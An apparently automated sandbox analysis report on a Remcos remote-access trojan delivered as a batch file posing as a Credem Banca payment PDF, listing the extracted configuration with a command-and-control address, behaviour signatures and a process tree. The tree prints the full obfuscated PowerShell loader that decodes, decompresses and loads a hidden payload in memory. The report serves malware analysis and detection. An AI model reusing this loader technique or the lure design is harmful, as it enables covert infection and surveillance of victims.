Analysis
- max time kernel
148s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20250502-en - resource tags
- submitted
26/05/2025, 10:36
General
- Target Credem Banca _Copia di Pagamento.pdf.bat
- Size 4.2MB
- Sample250526-mnpy4sxtet
- SHA256 a19755474c76335eebca302002cb79c75dcd0a74ae057816a766f6d6ccc1dbbd
Malware Config
Extracted
-
remcos
-
RemoteHost
-
185.241.208.118:9683
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-XQBYN3
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
Remcos
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Remcos family
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 23 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650012⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep"2⤵
-
-
C:\Windows\system32\attrib.exeattrib +s +h "C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep"2⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep"C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep" -WindowStyle Hidden -Command "$Pkyxspfvgja = Get-Content -LiteralPath (Get-Item env:Coqbelpwf).Value | Select-Object -Last 1; $Calppnp = [Convert]::FromBase64String($Pkyxspfvgja); $Niafnnvqhs = New-Object IO.MemoryStream(, $Calppnp); $Gqwwr = New-Object IO.MemoryStream; $Escnqqgarn = New-Object IO.Compression.GzipStream($Niafnnvqhs, [IO.Compression.CompressionMode]::Decompress); $Escnqqgarn.CopyTo($Gqwwr); $Escnqqgarn.Close(); $Niafnnvqhs.Close(); [byte[]] $Calppnp = $Gqwwr.ToArray(); [Array]::Reverse($Calppnp); $Phnopemhktk = [System.AppDomain]::CurrentDomain.Load($Calppnp); $Toonht = $Phnopemhktk.EntryPoint; $Toonht.DeclaringType.InvokeMember($Toonht.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Credem Banca _Copia di Pagamento.pdf.bat.Cep
__PSScriptPolicyTest_ix0cqboo.1wd.ps1
memory/1248-5-0x00000000749EE000-0x00000000749EF000-memory.dmp
memory/1248-6-0x00000000031A0000-0x00000000031D6000-memory.dmp
memory/1248-8-0x0000000005AF0000-0x0000000006118000-memory.dmp
memory/1248-7-0x00000000749E0000-0x0000000075190000-memory.dmp
memory/1248-9-0x00000000057F0000-0x0000000005812000-memory.dmp
memory/1248-11-0x0000000005900000-0x0000000005966000-memory.dmp
memory/1248-10-0x0000000005890000-0x00000000058F6000-memory.dmp
memory/1248-21-0x0000000006220000-0x0000000006574000-memory.dmp
memory/1248-22-0x0000000006770000-0x000000000678E000-memory.dmp
memory/1248-23-0x00000000067C0000-0x000000000680C000-memory.dmp
memory/1248-24-0x0000000007A30000-0x0000000007AC6000-memory.dmp
memory/1248-25-0x0000000006C80000-0x0000000006C9A000-memory.dmp
memory/1248-26-0x0000000006D00000-0x0000000006D22000-memory.dmp
memory/1248-27-0x0000000008080000-0x0000000008624000-memory.dmp
memory/1248-28-0x0000000008CB0000-0x000000000932A000-memory.dmp
memory/1248-29-0x0000000007B10000-0x0000000007E4E000-memory.dmp
memory/1248-30-0x0000000008630000-0x0000000008942000-memory.dmp
memory/1248-31-0x0000000008940000-0x00000000089D2000-memory.dmp
memory/1248-32-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-35-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-51-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-55-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-69-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-83-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-95-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-89-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-87-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-85-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-93-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-91-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-81-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-79-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-77-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-75-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-73-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-71-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-67-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-65-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-63-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-61-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-57-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-59-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-53-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-49-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-45-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-47-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-41-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-43-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-37-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-33-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-39-0x0000000008630000-0x000000000893C000-memory.dmp
memory/1248-705-0x00000000749E0000-0x0000000075190000-memory.dmp
memory/1248-672-0x00000000749EE000-0x00000000749EF000-memory.dmp
memory/1248-1076-0x00000000749E0000-0x0000000075190000-memory.dmp
memory/1248-6046-0x00000000749E0000-0x0000000075190000-memory.dmp
memory/1248-6047-0x00000000749E0000-0x0000000075190000-memory.dmp
memory/1248-6048-0x00000000089F0000-0x0000000008A88000-memory.dmp
memory/1248-6049-0x0000000008A90000-0x0000000008B24000-memory.dmp
memory/1248-6050-0x0000000005540000-0x000000000558C000-memory.dmp
memory/1248-6051-0x0000000006950000-0x00000000069A4000-memory.dmp
memory/1248-6058-0x00000000749E0000-0x0000000075190000-memory.dmp
memory/5092-6057-0x0000000000400000-0x000000000047F000-memory.dmp
memory/5092-6064-0x0000000000400000-0x000000000047F000-memory.dmp